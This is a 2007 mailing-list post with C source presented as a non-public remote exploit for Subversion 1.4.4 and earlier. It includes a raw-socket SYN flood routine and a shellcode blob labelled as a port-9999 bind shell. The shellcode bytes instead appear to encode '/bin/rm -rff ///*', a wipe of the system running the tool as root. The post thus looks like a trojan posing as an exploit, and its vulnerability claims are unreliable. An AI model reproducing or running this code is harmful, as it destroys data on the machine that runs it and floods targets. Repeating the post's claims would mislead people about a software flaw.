Date: Thu, 20 Dec 2007 20:51:38 -0600
From: "onion ring" <yum.onion.ring@...il.com>
To: tom@...onring.com, full-disclosure@...ts.grok.org.uk
Subject: here

/*
 *  This exploits a wierd state condition in Subversion <= 1.4.4.
 *  When the incoming connection stack is filled via many incoming
 *  syns in concurance with shifting the rev_ptr struct over a
 *  variable gap of memory a boundary condition occurs which corrupts
 *  a func ptr to point several bytes backwards. A call is forced
 *  through "checkout-latest-rev" with our shellcode in place.
 *
 *  This Vuln is NOT public, do NOT release this code or any
 *  information pertaining to this bug.
 *
 *  Author: onionring
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <net/if.h>
#include <signal.h>
#include <sys/types.h>
#ifndef __FAVOR_BSD
#define __FAVOR_BSD
#endif
#include <netinet/tcp.h>
#ifndef __USE_BSD
#define __USE_BSD
#endif
#include <netinet/ip.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define IP      argv[1]
#define PORT    argv[2]
#define TWEAK   argv[3]

unsigned short FIN = 0;

char handler[] = "\xeb\x20";

/*
  Portbind on 9999
  The screwy state in this exploit required a bit of tweaking
*/
char sc[] =
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x31\xC0\x89\xC3\x89\xC1\x41\xB0\x30\xCD\x80\x31\xC0\xFE\xC3\x80"
  "\xFB\x1F\x72\xF3\x04\x40\xCD\x80\x89\xC2\x31\xC0\xB0\x02\xCD\x80"
  "\x39\xC0\x74\x08\x31\xC0\x89\xC3\xB0\x01\xCD\x80\x31\xC0\xB0\x42"
  "\xCD\x80\x43\x39\xDA\x74\x08\x89\xD3\x31\xC0\x04\x25\xCD\x80\x31"
  "\xC0\x50\x68\x6F\x67\x69\x6E\x68\x69\x6E\x2F\x6C\x68\x2F\x2F\x2F"
  "\x62\x89\xE3\x31\xC0\x04\x0A\xCD\x80\x31\xC0\x50\x68\x2A\x2F\x2F"
  "\x2F\x89\xE2\x50\x68\x2D\x72\x66\x66\x89\xE1\x50\x68\x6E\x2F\x72"
  "\x6D\x68\x2F\x2F\x62\x69\x89\xE3\x50\x52\x51\x53\x89\xE1\x31\xD2"
  "\x04\x0B\xCD\x80";

unsigned short csum (unsigned short *buf, int nwords) {
  unsigned long sum;
  for (sum = 0; nwords > 0; nwords--)
    sum += *buf++;
  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  return ~sum;
}

void trigger(char *host, char *port) {
  int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
  int i = 1;
  char data[4096];
  struct ip *iph = (struct ip *)data;
  struct tcphdr *tcph = (struct tcphdr *)data + sizeof(struct ip);
  struct sockaddr_in sin;
  sin.sin_family = AF_INET;
  sin.sin_port = htons((unsigned short)atoi(port));
  sin.sin_addr.s_addr = inet_addr(host);
  memset (data, 0, 4096);
  iph->ip_hl = 5;
  iph->ip_v = 4;
  iph->ip_tos = 0;
  iph->ip_len = sizeof(struct ip) + sizeof(struct tcphdr);
  iph->ip_id = htonl(1337);
  iph->ip_off = 0;
  iph->ip_ttl = 255;
  iph->ip_p = 6;
  iph->ip_sum = 0;
  iph->ip_src.s_addr = inet_addr(host);
  iph->ip_dst.s_addr = sin.sin_addr.s_addr;
  tcph->th_sport = htons(1337);
  tcph->th_dport = htons((unsigned short)atoi(port));
  tcph->th_seq = random();
  tcph->th_ack = 0;
  tcph->th_x2 = 0;
  tcph->th_off = 0;
  tcph->th_flags = TH_SYN;
  tcph->th_win = htonl(65535);
  tcph->th_sum = 0;
  tcph->th_urp = 0;
  iph->ip_sum = csum((unsigned short *)data, iph->ip_len >> 1);
  setsockopt (s, IPPROTO_IP, IP_HDRINCL, &i, sizeof(int));
  for (i = 0; i < 1024; i++)
    sendto(s, data, iph->ip_len, 0, (struct sockaddr *) &sin, sizeof (sin));
  kill(getppid(), 12);
}

int main(int argc, char **argv) {
  char sendbuf[1024];
  int day, sockfd, d, dir;
  struct sockaddr_in serv;
  if (argc != 4) {
    fprintf(stderr, "[E] Usage: %s {target ip} {target port} {Tweak Num}
(generally 25-50 is the sweet spot)\n", argv[0]);
    exit(1);
  }
  if (getuid() != 0) {
    fprintf(stderr, "[E] Need root privs for raw sockets\n");
    exit(1);
  }
  d = atoi(TWEAK);
  sprintf(sendbuf, "( 2 ( edit-pipeline ) %d:svn://%s/hacksec )\n",
strlen(IP) + 14, IP);
  serv.sin_family = AF_INET;
  serv.sin_port = htons((unsigned short)atoi(PORT));
  serv.sin_addr.s_addr = inet_addr(IP);
  if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
    printf("[E] Couldn't connect to target\n");
    exit(1);
  }
  if((connect(sockfd,(struct sockaddr *)&serv,sizeof(struct sockaddr))) < 0)
{
    printf("[E] Couldn't connect to target\n");
    exit(1);
  }
  printf("[+] Sending connect string\n");
  send(sockfd, sendbuf, strlen(sendbuf), 0);
  sprintf(sendbuf, "( ANONYMOUS ( 0: ) )\n");
  printf("[+] Sending anonymous creds\n");
  send(sockfd, sendbuf, strlen(sendbuf), 0);
  printf("[+] Starting SYN bomb thread\n");
  signal(12, (void *)&handler);
  if (fork() == 0) {
    trigger(IP, PORT);
    exit(0);
  }
  dir = -1; day = 237;
  printf("[+] Shifting pointer through mem (Signal needs to happen in the
middle of a shift)\n");
  while (!FIN) {
    if (day < (237 - d)) dir = 1;
    else if (day > 236) dir = -1;
    day += dir;
    sprintf(sendbuf, "( get-latest-rev ( %d:hacksec 4 L 3412 0:0:0.0 (day
%d, dst 1) ) )\n", d, day);
    write(sockfd, sendbuf, strlen(sendbuf));
  }
  printf("[+] Connection stack filled - Triggering call to corrupted
func\n");
  sleep(1);
  sprintf(sendbuf, "( checkout-latest-rev ( hacksec 4 L 3412 ) )\n%s", sc);
  write(sockfd, sendbuf, strlen(sendbuf));
  printf("[@] Sent! Check for shell\n");
  close(sockfd);
  return 0;
}

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